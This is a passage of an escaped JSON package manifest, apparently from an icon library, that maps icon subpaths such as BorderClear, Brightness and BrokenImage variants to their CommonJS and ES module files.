\"./BorderClearRounded\": {\n      \"require\": \"./BorderClearRounded.js\",\n      \"import\": \"./BorderClearRounded.mjs\",\n      \"default\": \"./BorderClearRounded.mjs\"\n    },\n    \"./BorderClearSharp\": {\n      \"require\": \"./BorderClearSharp.js\",\n      \"import\": \"./BorderClearSharp.mjs\",\n      \"default\": \"./BorderClearSharp.mjs\"\n    },\n    \"./BorderClearTwoTone\": {\n      \"require\": \"./BorderClearTwoTone.js\",\n      \"import\": \"./BorderClearTwoTone.mjs\",\n      \"default\": \"./BorderClearTwoTone.mjs\"\n    },\n    \"./BorderColor\": {\n      \"require\": \"./BorderColor.js\",\n      \"import\": \"./BorderColor.mjs\",\n      \"default\": \"./BorderColor.mjs\"\n    },\n    \"./BorderColorOutlined\": {\n      \"require\": \"./BorderColorOutlined.js\",\n      \"import\": \"./BorderColorOutlined.mjs\",\n      \"default\": \"./BorderColorOutlined.mjs\"\n    },\n    \"./BorderColorRounded\": {\n      \"require\": \"./BorderColorRounded.js\",\n      \"import\": \"./BorderColorRounded.mjs\",\n      \"default\": \"./BorderColorRounded.mjs\"\n    },\n    \"./BorderColorSharp\": {\n      \"require\": \"./BorderColorSharp.js\",\n      \"import\": \"./BorderColorSharp.mjs\",\n      \"default\": \"./BorderColorSharp.mjs\"\n    },\n    \"./BorderColorTwoTone\": {\n      \"require\": \"./BorderColorTwoTone.js\",\n      \"import\": \"./BorderColorTwoTone.mjs\",\n      \"default\": \"./BorderColorTwoTone.mjs\"\n    },\n    \"./BorderHorizontal\": {\n      \"require\": \"./BorderHorizontal.js\",\n      \"import\": \"./BorderHorizontal.mjs\",\n      \"default\": \"./BorderHorizontal.mjs\"\n    },\n    \"./BorderHorizontalOutlined\": {\n      \"require\": \"./BorderHorizontalOutlined.js\",\n      \"import\": \"./BorderHorizontalOutlined.mjs\",\n      \"default\": \"./BorderHorizontalOutlined.mjs\"\n    },\n    \"./BorderHorizontalRounded\": {\n      \"require\": \"./BorderHorizontalRounded.js\",\n      \"import\": \"./BorderHorizontalRounded.mjs\",\n      \"default\": \"./BorderHorizontalRounded.mjs\"\n    },\n    \"./BorderHorizontalSharp\": {\n      \"import\": \"./BorderHorizontalSharp.mjs\",\n      \"require\": \"./BorderHorizontalSharp.js\",\n      \"default\": \"./BorderHorizontalSharp.mjs\"\n    },\n    \"./BorderHorizontalTwoTone\": {\n      \"import\": \"./BorderHorizontalTwoTone.mjs\",\n      \"require\": \"./BorderHorizontalTwoTone.js\",\n      \"default\": \"./BorderHorizontalTwoTone.mjs\"\n    },\n    \"./BorderInner\": {\n      \"import\": \"./BorderInner.mjs\",\n      \"require\": \"./BorderInner.js\",\n      \"default\": \"./BorderInner.mjs\"\n    },\n    \"./BorderInnerOutlined\": {\n      \"import\": \"./BorderInnerOutlined.mjs\",\n      \"require\": \"./BorderInnerOutlined.js\",\n      \"default\": \"./BorderInnerOutlined.mjs\"\n    },\n    \"./BorderInnerRounded\": {\n      \"import\": \"./BorderInnerRounded.mjs\",\n      \"require\": \"./BorderInnerRounded.js\",\n      \"default\": \"./BorderInnerRounded.mjs\"\n    },\n    \"./BorderInnerSharp\": {\n      \"import\": \"./BorderInnerSharp.mjs\",\n      \"require\": \"./BorderInnerSharp.js\",\n      \"default\": \"./BorderInnerSharp.mjs\"\n    },\n    \"./BorderInnerTwoTone\": {\n      \"import\": \"./BorderInnerTwoTone.mjs\",\n      \"require\": \"./BorderInnerTwoTone.js\",\n      \"default\": \"./BorderInnerTwoTone.mjs\"\n    },\n    \"./BorderLeft\": {\n      \"import\": \"./BorderLeft.mjs\",\n      \"require\": \"./BorderLeft.js\",\n      \"default\": \"./BorderLeft.mjs\"\n    },\n    \"./BorderLeftOutlined\": {\n      \"import\": \"./BorderLeftOutlined.mjs\",\n      \"require\": \"./BorderLeftOutlined.js\",\n      \"default\": \"./BorderLeftOutlined.mjs\"\n    },\n    \"./BorderLeftRounded\": {\n      \"import\": \"./BorderLeftRounded.mjs\",\n      \"require\": \"./BorderLeftRounded.js\",\n      \"default\": \"./BorderLeftRounded.mjs\"\n    },\n    \"./BorderLeftSharp\": {\n      \"import\": \"./BorderLeftSharp.mjs\",\n      \"require\": \"./BorderLeftSharp.js\",\n      \"default\": \"./BorderLeftSharp.mjs\"\n    },\n    \"./BorderLeftTwoTone\": {\n      \"import\": \"./BorderLeftTwoTone.mjs\",\n      \"require\": \"./BorderLeftTwoTone.js\",\n      \"default\": \"./BorderLeftTwoTone.mjs\"\n    },\n    \"./BorderOuter\": {\n      \"import\": \"./BorderOuter.mjs\",\n      \"require\": \"./BorderOuter.js\",\n      \"default\": \"./BorderOuter.mjs\"\n    },\n    \"./BorderOuterOutlined\": {\n      \"import\": \"./BorderOuterOutlined.mjs\",\n      \"require\": \"./BorderOuterOutlined.js\",\n      \"default\": \"./BorderOuterOutlined.mjs\"\n    },\n    \"./BorderOuterRounded\": {\n      \"import\": \"./BorderOuterRounded.mjs\",\n      \"require\": \"./BorderOuterRounded.js\",\n      \"default\": \"./BorderOuterRounded.mjs\"\n    },\n    \"./BorderOuterSharp\": {\n      \"import\": \"./BorderOuterSharp.mjs\",\n      \"require\": \"./BorderOuterSharp.js\",\n      \"default\": \"./BorderOuterSharp.mjs\"\n    },\n    \"./BorderOuterTwoTone\": {\n      \"import\": \"./BorderOuterTwoTone.mjs\",\n      \"require\": \"./BorderOuterTwoTone.js\",\n      \"default\": \"./BorderOuterTwoTone.mjs\"\n    },\n    \"./BorderRight\": {\n      \"import\": \"./BorderRight.mjs\",\n      \"require\": \"./BorderRight.js\",\n      \"default\": \"./BorderRight.mjs\"\n    },\n    \"./BorderRightOutlined\": {\n      \"import\": \"./BorderRightOutlined.mjs\",\n      \"require\": \"./BorderRightOutlined.js\",\n      \"default\": \"./BorderRightOutlined.mjs\"\n    },\n    \"./BorderRightRounded\": {\n      \"import\": \"./BorderRightRounded.mjs\",\n      \"require\": \"./BorderRightRounded.js\",\n      \"default\": \"./BorderRightRounded.mjs\"\n    },\n    \"./BorderRightSharp\": {\n      \"import\": \"./BorderRightSharp.mjs\",\n      \"require\": \"./BorderRightSharp.js\",\n      \"default\": \"./BorderRightSharp.mjs\"\n    },\n    \"./BorderRightTwoTone\": {\n      \"import\": \"./BorderRightTwoTone.mjs\",\n      \"require\": \"./BorderRightTwoTone.js\",\n      \"default\": \"./BorderRightTwoTone.mjs\"\n    },\n    \"./BorderStyle\": {\n      \"import\": \"./BorderStyle.mjs\",\n      \"require\": \"./BorderStyle.js\",\n      \"default\": \"./BorderStyle.mjs\"\n    },\n    \"./BorderStyleOutlined\": {\n      \"require\": \"./BorderStyleOutlined.js\",\n      \"import\": \"./BorderStyleOutlined.mjs\",\n      \"default\": \"./BorderStyleOutlined.mjs\"\n    },\n    \"./BorderStyleRounded\": {\n      \"require\": \"./BorderStyleRounded.js\",\n      \"import\": \"./BorderStyleRounded.mjs\",\n      \"default\": \"./BorderStyleRounded.mjs\"\n    },\n    \"./BorderStyleSharp\": {\n      \"require\": \"./BorderStyleSharp.js\",\n      \"import\": \"./BorderStyleSharp.mjs\",\n      \"default\": \"./BorderStyleSharp.mjs\"\n    },\n    \"./BorderStyleTwoTone\": {\n      \"require\": \"./BorderStyleTwoTone.js\",\n      \"import\": \"./BorderStyleTwoTone.mjs\",\n      \"default\": \"./BorderStyleTwoTone.mjs\"\n    },\n    \"./BorderTop\": {\n      \"require\": \"./BorderTop.js\",\n      \"import\": \"./BorderTop.mjs\",\n      \"default\": \"./BorderTop.mjs\"\n    },\n    \"./BorderTopOutlined\": {\n      \"require\": \"./BorderTopOutlined.js\",\n      \"import\": \"./BorderTopOutlined.mjs\",\n      \"default\": \"./BorderTopOutlined.mjs\"\n    },\n    \"./BorderTopRounded\": {\n      \"require\": \"./BorderTopRounded.js\",\n      \"import\": \"./BorderTopRounded.mjs\",\n      \"default\": \"./BorderTopRounded.mjs\"\n    },\n    \"./BorderTopSharp\": {\n      \"import\": \"./BorderTopSharp.mjs\",\n      \"require\": \"./BorderTopSharp.js\",\n      \"default\": \"./BorderTopSharp.mjs\"\n    },\n    \"./BorderTopTwoTone\": {\n      \"import\": \"./BorderTopTwoTone.mjs\",\n      \"require\": \"./BorderTopTwoTone.js\",\n      \"default\": \"./BorderTopTwoTone.mjs\"\n    },\n    \"./BorderVertical\": {\n      \"import\": \"./BorderVertical.mjs\",\n      \"require\": \"./BorderVertical.js\",\n      \"default\": \"./BorderVertical.mjs\"\n    },\n    \"./BorderVerticalOutlined\": {\n      \"import\": \"./BorderVerticalOutlined.mjs\",\n      \"require\": \"./BorderVerticalOutlined.js\",\n      \"default\": \"./BorderVerticalOutlined.mjs\"\n    },\n    \"./BorderVerticalRounded\": {\n      \"import\": \"./BorderVerticalRounded.mjs\",\n      \"require\": \"./BorderVerticalRounded.js\",\n      \"default\": \"./BorderVerticalRounded.mjs\"\n    },\n    \"./BorderVerticalSharp\": {\n      \"import\": \"./BorderVerticalSharp.mjs\",\n      \"require\": \"./BorderVerticalSharp.js\",\n      \"default\": \"./BorderVerticalSharp.mjs\"\n    },\n    \"./BorderVerticalTwoTone\": {\n      \"import\": \"./BorderVerticalTwoTone.mjs\",\n      \"require\": \"./BorderVerticalTwoTone.js\",\n      \"default\": \"./BorderVerticalTwoTone.mjs\"\n    },\n    \"./Boy\": {\n      \"import\": \"./Boy.mjs\",\n      \"require\": \"./Boy.js\",\n      \"default\": \"./Boy.mjs\"\n    },\n    \"./BoyOutlined\": {\n      \"import\": \"./BoyOutlined.mjs\",\n      \"require\": \"./BoyOutlined.js\",\n      \"default\": \"./BoyOutlined.mjs\"\n    },\n    \"./BoyRounded\": {\n      \"import\": \"./BoyRounded.mjs\",\n      \"require\": \"./BoyRounded.js\",\n      \"default\": \"./BoyRounded.mjs\"\n    },\n    \"./BoySharp\": {\n      \"import\": \"./BoySharp.mjs\",\n      \"require\": \"./BoySharp.js\",\n      \"default\": \"./BoySharp.mjs\"\n    },\n    \"./BoyTwoTone\": {\n      \"import\": \"./BoyTwoTone.mjs\",\n      \"require\": \"./BoyTwoTone.js\",\n      \"default\": \"./BoyTwoTone.mjs\"\n    },\n    \"./BrandingWatermark\": {\n      \"import\": \"./BrandingWatermark.mjs\",\n      \"require\": \"./BrandingWatermark.js\",\n      \"default\": \"./BrandingWatermark.mjs\"\n    },\n    \"./BrandingWatermarkOutlined\": {\n      \"import\": \"./BrandingWatermarkOutlined.mjs\",\n      \"require\": \"./BrandingWatermarkOutlined.js\",\n      \"default\": \"./BrandingWatermarkOutlined.mjs\"\n    },\n    \"./BrandingWatermarkRounded\": {\n      \"import\": \"./BrandingWatermarkRounded.mjs\",\n      \"require\": \"./BrandingWatermarkRounded.js\",\n      \"default\": \"./BrandingWatermarkRounded.mjs\"\n    },\n    \"./BrandingWatermarkSharp\": {\n      \"import\": \"./BrandingWatermarkSharp.mjs\",\n      \"require\": \"./BrandingWatermarkSharp.js\",\n      \"default\": \"./BrandingWatermarkSharp.mjs\"\n    },\n    \"./BrandingWatermarkTwoTone\": {\n      \"import\": \"./BrandingWatermarkTwoTone.mjs\",\n      \"require\": \"./BrandingWatermarkTwoTone.js\",\n      \"default\": \"./BrandingWatermarkTwoTone.mjs\"\n    },\n    \"./BreakfastDining\": {\n      \"import\": \"./BreakfastDining.mjs\",\n      \"require\": \"./BreakfastDining.js\",\n      \"default\": \"./BreakfastDining.mjs\"\n    },\n    \"./BreakfastDiningOutlined\": {\n      \"import\": \"./BreakfastDiningOutlined.mjs\",\n      \"require\": \"./BreakfastDiningOutlined.js\",\n      \"default\": \"./BreakfastDiningOutlined.mjs\"\n    },\n    \"./BreakfastDiningRounded\": {\n      \"import\": \"./BreakfastDiningRounded.mjs\",\n      \"require\": \"./BreakfastDiningRounded.js\",\n      \"default\": \"./BreakfastDiningRounded.mjs\"\n    },\n    \"./BreakfastDiningSharp\": {\n      \"import\": \"./BreakfastDiningSharp.mjs\",\n      \"require\": \"./BreakfastDiningSharp.js\",\n      \"default\": \"./BreakfastDiningSharp.mjs\"\n    },\n    \"./BreakfastDiningTwoTone\": {\n      \"require\": \"./BreakfastDiningTwoTone.js\",\n      \"import\": \"./BreakfastDiningTwoTone.mjs\",\n      \"default\": \"./BreakfastDiningTwoTone.mjs\"\n    },\n    \"./Brightness1\": {\n      \"require\": \"./Brightness1.js\",\n      \"import\": \"./Brightness1.mjs\",\n      \"default\": \"./Brightness1.mjs\"\n    },\n    \"./Brightness1Outlined\": {\n      \"import\": \"./Brightness1Outlined.mjs\",\n      \"require\": \"./Brightness1Outlined.js\",\n      \"default\": \"./Brightness1Outlined.mjs\"\n    },\n    \"./Brightness1Rounded\": {\n      \"import\": \"./Brightness1Rounded.mjs\",\n      \"require\": \"./Brightness1Rounded.js\",\n      \"default\": \"./Brightness1Rounded.mjs\"\n    },\n    \"./Brightness1Sharp\": {\n      \"require\": \"./Brightness1Sharp.js\",\n      \"import\": \"./Brightness1Sharp.mjs\",\n      \"default\": \"./Brightness1Sharp.mjs\"\n    },\n    \"./Brightness1TwoTone\": {\n      \"require\": \"./Brightness1TwoTone.js\",\n      \"import\": \"./Brightness1TwoTone.mjs\",\n      \"default\": \"./Brightness1TwoTone.mjs\"\n    },\n    \"./Brightness2\": {\n      \"require\": \"./Brightness2.js\",\n      \"import\": \"./Brightness2.mjs\",\n      \"default\": \"./Brightness2.mjs\"\n    },\n    \"./Brightness2Outlined\": {\n      \"require\": \"./Brightness2Outlined.js\",\n      \"import\": \"./Brightness2Outlined.mjs\",\n      \"default\": \"./Brightness2Outlined.mjs\"\n    },\n    \"./Brightness2Rounded\": {\n      \"require\": \"./Brightness2Rounded.js\",\n      \"import\": \"./Brightness2Rounded.mjs\",\n      \"default\": \"./Brightness2Rounded.mjs\"\n    },\n    \"./Brightness2Sharp\": {\n      \"require\": \"./Brightness2Sharp.js\",\n      \"import\": \"./Brightness2Sharp.mjs\",\n      \"default\": \"./Brightness2Sharp.mjs\"\n    },\n    \"./Brightness2TwoTone\": {\n      \"require\": \"./Brightness2TwoTone.js\",\n      \"import\": \"./Brightness2TwoTone.mjs\",\n      \"default\": \"./Brightness2TwoTone.mjs\"\n    },\n    \"./Brightness3\": {\n      \"require\": \"./Brightness3.js\",\n      \"import\": \"./Brightness3.mjs\",\n      \"default\": \"./Brightness3.mjs\"\n    },\n    \"./Brightness3Outlined\": {\n      \"require\": \"./Brightness3Outlined.js\",\n      \"import\": \"./Brightness3Outlined.mjs\",\n      \"default\": \"./Brightness3Outlined.mjs\"\n    },\n    \"./Brightness3Rounded\": {\n      \"require\": \"./Brightness3Rounded.js\",\n      \"import\": \"./Brightness3Rounded.mjs\",\n      \"default\": \"./Brightness3Rounded.mjs\"\n    },\n    \"./Brightness3Sharp\": {\n      \"require\": \"./Brightness3Sharp.js\",\n      \"import\": \"./Brightness3Sharp.mjs\",\n      \"default\": \"./Brightness3Sharp.mjs\"\n    },\n    \"./Brightness3TwoTone\": {\n      \"require\": \"./Brightness3TwoTone.js\",\n      \"import\": \"./Brightness3TwoTone.mjs\",\n      \"default\": \"./Brightness3TwoTone.mjs\"\n    },\n    \"./Brightness4\": {\n      \"require\": \"./Brightness4.js\",\n      \"import\": \"./Brightness4.mjs\",\n      \"default\": \"./Brightness4.mjs\"\n    },\n    \"./Brightness4Outlined\": {\n      \"require\": \"./Brightness4Outlined.js\",\n      \"import\": \"./Brightness4Outlined.mjs\",\n      \"default\": \"./Brightness4Outlined.mjs\"\n    },\n    \"./Brightness4Rounded\": {\n      \"require\": \"./Brightness4Rounded.js\",\n      \"import\": \"./Brightness4Rounded.mjs\",\n      \"default\": \"./Brightness4Rounded.mjs\"\n    },\n    \"./Brightness4Sharp\": {\n      \"require\": \"./Brightness4Sharp.js\",\n      \"import\": \"./Brightness4Sharp.mjs\",\n      \"default\": \"./Brightness4Sharp.mjs\"\n    },\n    \"./Brightness4TwoTone\": {\n      \"require\": \"./Brightness4TwoTone.js\",\n      \"import\": \"./Brightness4TwoTone.mjs\",\n      \"default\": \"./Brightness4TwoTone.mjs\"\n    },\n    \"./Brightness5\": {\n      \"require\": \"./Brightness5.js\",\n      \"import\": \"./Brightness5.mjs\",\n      \"default\": \"./Brightness5.mjs\"\n    },\n    \"./Brightness5Outlined\": {\n      \"require\": \"./Brightness5Outlined.js\",\n      \"import\": \"./Brightness5Outlined.mjs\",\n      \"default\": \"./Brightness5Outlined.mjs\"\n    },\n    \"./Brightness5Rounded\": {\n      \"require\": \"./Brightness5Rounded.js\",\n      \"import\": \"./Brightness5Rounded.mjs\",\n      \"default\": \"./Brightness5Rounded.mjs\"\n    },\n    \"./Brightness5Sharp\": {\n      \"import\": \"./Brightness5Sharp.mjs\",\n      \"require\": \"./Brightness5Sharp.js\",\n      \"default\": \"./Brightness5Sharp.mjs\"\n    },\n    \"./Brightness5TwoTone\": {\n      \"import\": \"./Brightness5TwoTone.mjs\",\n      \"require\": \"./Brightness5TwoTone.js\",\n      \"default\": \"./Brightness5TwoTone.mjs\"\n    },\n    \"./Brightness6\": {\n      \"import\": \"./Brightness6.mjs\",\n      \"require\": \"./Brightness6.js\",\n      \"default\": \"./Brightness6.mjs\"\n    },\n    \"./Brightness6Outlined\": {\n      \"import\": \"./Brightness6Outlined.mjs\",\n      \"require\": \"./Brightness6Outlined.js\",\n      \"default\": \"./Brightness6Outlined.mjs\"\n    },\n    \"./Brightness6Rounded\": {\n      \"import\": \"./Brightness6Rounded.mjs\",\n      \"require\": \"./Brightness6Rounded.js\",\n      \"default\": \"./Brightness6Rounded.mjs\"\n    },\n    \"./Brightness6Sharp\": {\n      \"import\": \"./Brightness6Sharp.mjs\",\n      \"require\": \"./Brightness6Sharp.js\",\n      \"default\": \"./Brightness6Sharp.mjs\"\n    },\n    \"./Brightness6TwoTone\": {\n      \"require\": \"./Brightness6TwoTone.js\",\n      \"import\": \"./Brightness6TwoTone.mjs\",\n      \"default\": \"./Brightness6TwoTone.mjs\"\n    },\n    \"./Brightness7\": {\n      \"require\": \"./Brightness7.js\",\n      \"import\": \"./Brightness7.mjs\",\n      \"default\": \"./Brightness7.mjs\"\n    },\n    \"./Brightness7Outlined\": {\n      \"require\": \"./Brightness7Outlined.js\",\n      \"import\": \"./Brightness7Outlined.mjs\",\n      \"default\": \"./Brightness7Outlined.mjs\"\n    },\n    \"./Brightness7Rounded\": {\n      \"require\": \"./Brightness7Rounded.js\",\n      \"import\": \"./Brightness7Rounded.mjs\",\n      \"default\": \"./Brightness7Rounded.mjs\"\n    },\n    \"./Brightness7Sharp\": {\n      \"import\": \"./Brightness7Sharp.mjs\",\n      \"require\": \"./Brightness7Sharp.js\",\n      \"default\": \"./Brightness7Sharp.mjs\"\n    },\n    \"./Brightness7TwoTone\": {\n      \"require\": \"./Brightness7TwoTone.js\",\n      \"import\": \"./Brightness7TwoTone.mjs\",\n      \"default\": \"./Brightness7TwoTone.mjs\"\n    },\n    \"./BrightnessAuto\": {\n      \"import\": \"./BrightnessAuto.mjs\",\n      \"require\": \"./BrightnessAuto.js\",\n      \"default\": \"./BrightnessAuto.mjs\"\n    },\n    \"./BrightnessAutoOutlined\": {\n      \"require\": \"./BrightnessAutoOutlined.js\",\n      \"import\": \"./BrightnessAutoOutlined.mjs\",\n      \"default\": \"./BrightnessAutoOutlined.mjs\"\n    },\n    \"./BrightnessAutoRounded\": {\n      \"require\": \"./BrightnessAutoRounded.js\",\n      \"import\": \"./BrightnessAutoRounded.mjs\",\n      \"default\": \"./BrightnessAutoRounded.mjs\"\n    },\n    \"./BrightnessAutoSharp\": {\n      \"import\": \"./BrightnessAutoSharp.mjs\",\n      \"require\": \"./BrightnessAutoSharp.js\",\n      \"default\": \"./BrightnessAutoSharp.mjs\"\n    },\n    \"./BrightnessAutoTwoTone\": {\n      \"require\": \"./BrightnessAutoTwoTone.js\",\n      \"import\": \"./BrightnessAutoTwoTone.mjs\",\n      \"default\": \"./BrightnessAutoTwoTone.mjs\"\n    },\n    \"./BrightnessHigh\": {\n      \"require\": \"./BrightnessHigh.js\",\n      \"import\": \"./BrightnessHigh.mjs\",\n      \"default\": \"./BrightnessHigh.mjs\"\n    },\n    \"./BrightnessHighOutlined\": {\n      \"require\": \"./BrightnessHighOutlined.js\",\n      \"import\": \"./BrightnessHighOutlined.mjs\",\n      \"default\": \"./BrightnessHighOutlined.mjs\"\n    },\n    \"./BrightnessHighRounded\": {\n      \"require\": \"./BrightnessHighRounded.js\",\n      \"import\": \"./BrightnessHighRounded.mjs\",\n      \"default\": \"./BrightnessHighRounded.mjs\"\n    },\n    \"./BrightnessHighSharp\": {\n      \"require\": \"./BrightnessHighSharp.js\",\n      \"import\": \"./BrightnessHighSharp.mjs\",\n      \"default\": \"./BrightnessHighSharp.mjs\"\n    },\n    \"./BrightnessHighTwoTone\": {\n      \"require\": \"./BrightnessHighTwoTone.js\",\n      \"import\": \"./BrightnessHighTwoTone.mjs\",\n      \"default\": \"./BrightnessHighTwoTone.mjs\"\n    },\n    \"./BrightnessLow\": {\n      \"require\": \"./BrightnessLow.js\",\n      \"import\": \"./BrightnessLow.mjs\",\n      \"default\": \"./BrightnessLow.mjs\"\n    },\n    \"./BrightnessLowOutlined\": {\n      \"require\": \"./BrightnessLowOutlined.js\",\n      \"import\": \"./BrightnessLowOutlined.mjs\",\n      \"default\": \"./BrightnessLowOutlined.mjs\"\n    },\n    \"./BrightnessLowRounded\": {\n      \"require\": \"./BrightnessLowRounded.js\",\n      \"import\": \"./BrightnessLowRounded.mjs\",\n      \"default\": \"./BrightnessLowRounded.mjs\"\n    },\n    \"./BrightnessLowSharp\": {\n      \"require\": \"./BrightnessLowSharp.js\",\n      \"import\": \"./BrightnessLowSharp.mjs\",\n      \"default\": \"./BrightnessLowSharp.mjs\"\n    },\n    \"./BrightnessLowTwoTone\": {\n      \"import\": \"./BrightnessLowTwoTone.mjs\",\n      \"require\": \"./BrightnessLowTwoTone.js\",\n      \"default\": \"./BrightnessLowTwoTone.mjs\"\n    },\n    \"./BrightnessMedium\": {\n      \"require\": \"./BrightnessMedium.js\",\n      \"import\": \"./BrightnessMedium.mjs\",\n      \"default\": \"./BrightnessMedium.mjs\"\n    },\n    \"./BrightnessMediumOutlined\": {\n      \"require\": \"./BrightnessMediumOutlined.js\",\n      \"import\": \"./BrightnessMediumOutlined.mjs\",\n      \"default\": \"./BrightnessMediumOutlined.mjs\"\n    },\n    \"./BrightnessMediumRounded\": {\n      \"import\": \"./BrightnessMediumRounded.mjs\",\n      \"require\": \"./BrightnessMediumRounded.js\",\n      \"default\": \"./BrightnessMediumRounded.mjs\"\n    },\n    \"./BrightnessMediumSharp\": {\n      \"import\": \"./BrightnessMediumSharp.mjs\",\n      \"require\": \"./BrightnessMediumSharp.js\",\n      \"default\": \"./BrightnessMediumSharp.mjs\"\n    },\n    \"./BrightnessMediumTwoTone\": {\n      \"import\": \"./BrightnessMediumTwoTone.mjs\",\n      \"require\": \"./BrightnessMediumTwoTone.js\",\n      \"default\": \"./BrightnessMediumTwoTone.mjs\"\n    },\n    \"./BroadcastOnHome\": {\n      \"import\": \"./BroadcastOnHome.mjs\",\n      \"require\": \"./BroadcastOnHome.js\",\n      \"default\": \"./BroadcastOnHome.mjs\"\n    },\n    \"./BroadcastOnHomeOutlined\": {\n      \"import\": \"./BroadcastOnHomeOutlined.mjs\",\n      \"require\": \"./BroadcastOnHomeOutlined.js\",\n      \"default\": \"./BroadcastOnHomeOutlined.mjs\"\n    },\n    \"./BroadcastOnHomeRounded\": {\n      \"import\": \"./BroadcastOnHomeRounded.mjs\",\n      \"require\": \"./BroadcastOnHomeRounded.js\",\n      \"default\": \"./BroadcastOnHomeRounded.mjs\"\n    },\n    \"./BroadcastOnHomeSharp\": {\n      \"import\": \"./BroadcastOnHomeSharp.mjs\",\n      \"require\": \"./BroadcastOnHomeSharp.js\",\n      \"default\": \"./BroadcastOnHomeSharp.mjs\"\n    },\n    \"./BroadcastOnHomeTwoTone\": {\n      \"import\": \"./BroadcastOnHomeTwoTone.mjs\",\n      \"require\": \"./BroadcastOnHomeTwoTone.js\",\n      \"default\": \"./BroadcastOnHomeTwoTone.mjs\"\n    },\n    \"./BroadcastOnPersonal\": {\n      \"import\": \"./BroadcastOnPersonal.mjs\",\n      \"require\": \"./BroadcastOnPersonal.js\",\n      \"default\": \"./BroadcastOnPersonal.mjs\"\n    },\n    \"./BroadcastOnPersonalOutlined\": {\n      \"import\": \"./BroadcastOnPersonalOutlined.mjs\",\n      \"require\": \"./BroadcastOnPersonalOutlined.js\",\n      \"default\": \"./BroadcastOnPersonalOutlined.mjs\"\n    },\n    \"./BroadcastOnPersonalRounded\": {\n      \"import\": \"./BroadcastOnPersonalRounded.mjs\",\n      \"require\": \"./BroadcastOnPersonalRounded.js\",\n      \"default\": \"./BroadcastOnPersonalRounded.mjs\"\n    },\n    \"./BroadcastOnPersonalSharp\": {\n      \"import\": \"./BroadcastOnPersonalSharp.mjs\",\n      \"require\": \"./BroadcastOnPersonalSharp.js\",\n      \"default\": \"./BroadcastOnPersonalSharp.mjs\"\n    },\n    \"./BroadcastOnPersonalTwoTone\": {\n      \"import\": \"./BroadcastOnPersonalTwoTone.mjs\",\n      \"require\": \"./BroadcastOnPersonalTwoTone.js\",\n      \"default\": \"./BroadcastOnPersonalTwoTone.mjs\"\n    },\n    \"./BrokenImage\": {\n      \"import\": \"./BrokenImage.mjs\",\n      \"require\": \"./BrokenImage.js\",\n      \"default\": \"./BrokenImage.mjs\"\n    },\n    \"./BrokenImageOutlined\": {\n      \"import\": \"./BrokenImageOutlined.mjs\",\n      \"require\": \"./BrokenImageOutlined.js\",\n      \"default\": \"./BrokenImageOutlined.mjs\"\n    },\n    \"./BrokenImageRounded\": {\n      \"import\": \"./BrokenImageRounded.mjs\",\n      \"require\": \"./BrokenImageRounded.js\",\n      \"default\": \"./BrokenImageRounded.mjs\"\n    },\n    \"./BrokenImageSharp\": {\n      \"import\": \"./BrokenImageSharp.mjs\",\n      \"require\": \"./BrokenImageSharp.js\",\n      \"default\": \"./BrokenImageSharp.mjs\"\n    },\n    \"./BrokenImageTwoTone\": {\n      \"import\": \"./BrokenImageTwoTone.mjs\",\n      \"require\": \"./BrokenImageTwoTone.js\",\n      \"default\": \"./BrokenImageTwoTone.mjs\"\n    },\n    \"./BrowseGallery\": {\n      \"import\": \"./BrowseGallery.mjs\",\n      \"require\": \"./BrowseGallery.js\",\n      \"default\": \"./BrowseGallery.mjs\"\n    },\n    \"./BrowseGalleryOutlined\": {\n      \"import\": \"./BrowseGalleryOutlined.mjs\",\n      \"require\": \"./BrowseGalleryOutlined.js\",\n      \"default\": \"./BrowseGalleryOutlined.mjs\"\n    },\n    \"./BrowseGalleryRounded\": {\n      \"import\": \"./BrowseGalleryRounded.mjs\",\n      \"require\": \"./BrowseGalleryRounded.js\",\n      \"default\": \"./BrowseGalleryRounded.mjs\"\n    },\n    \"./BrowseGallerySharp\": {\n      \"import\": \"./BrowseGallerySharp.mjs\",\n      \"require\": \"./BrowseGallerySharp.js\",\n      \"default\": \"./BrowseGallerySharp.mjs\"\n    },\n    \"./BrowseGalleryTwoTone\": {\n      \"import\": \"./BrowseGalleryTwoTone.mjs\",\n      \"require\": \"./BrowseGalleryTwoTone.js\",\n      \"default\": \"./BrowseGalleryTwoTone.mjs\"\n    },\n    \"./BrowserNotSupported\": {\n      \"import\": \"./BrowserNotSupported.mjs\",\n      \"require\": \"./BrowserNotSupported.js\",\n      \"default\": \"./BrowserNotSupported.mjs\"\n    },\n    \"./BrowserNotSupportedOutlined\": {\n      \"import\": \"./BrowserNotSupportedOutlined.mjs\",\n      \"require\": \"./BrowserNotSupportedOutlined.js\",\n      \"default\": \"./BrowserNotSupportedOutlined.mjs\"\n    },\n    \"./BrowserNotSupportedRounded\": {\n      \"import\": \"./BrowserNotSupportedRounded.mjs\",\n      \"require\": \"./BrowserNotSupportedRounded.js\",\n      \"default\": \"./BrowserNotSupportedRounded.mjs\"\n    },\n    \"./BrowserNotSupportedSharp\": {\n      \"import\": \"./BrowserNotSupportedSharp.mjs\",\n      \"require\": \"./BrowserNotSupportedSharp.js\",\n      \"default\": \"./BrowserNotSupportedSharp.mjs\"\n    },\n    \"./BrowserNotSupportedTwoTone\": {\n      \"import\": \"./BrowserNotSupportedTwoTone.mjs\",\n      \"require\": \"./BrowserNotSupportedTwoTone.js\",\n      \"default\": \"./BrowserNotSupportedTwoTone.mjs\"\n    },\n    \"./BrowserUpdated\": {\n      \"require\": \"./BrowserUpdated.js\",\n      \"import\": \"./BrowserUpdated.mjs\",\n      \"default\": \"./BrowserUpdated.mjs\"\n    },\n    \"./BrowserUpdatedOutlined\": {\n      \"require\": \"./BrowserUpdatedOutlined.js\",\n      \"import\": \"./BrowserUpdatedOutlined.mjs\",\n      \"default\": \"./BrowserUpdatedOutlined.mjs\"\n    },\n    \"./BrowserUpdatedRounded\": {\n      \"require\": \"./BrowserUpdatedRounded.js\",\n      \"import\": \"./BrowserUpdatedRounded.mjs\",\n      \"default\": \"./BrowserUpdatedRounded.mjs\"\n    },\n    \"./BrowserUpdatedSharp\": {\n      \"require\": \"./BrowserUpdatedSharp.js\",\n      \"import\": \"./BrowserUpdatedSharp.mjs\",\n      \"default\": \"./BrowserUpdatedSharp.mjs\"\n    },\n    \"./BrowserUpdatedTwoTone\": {\n      \"require\": \"./BrowserUpdatedTwoTone.js\",\n      \"import\": \"./BrowserUpdatedTwoTone.mjs\",\n      \"default\": \"./BrowserUpdatedTwoTone.mjs\"\n    },\n    \"./BrunchDining\": {\n      \"require\": \"./BrunchDining.js\",\n      \"import\": \"./BrunchDining.mjs\",\n      \"default\": \"./BrunchDining.mjs\"\n    },\n    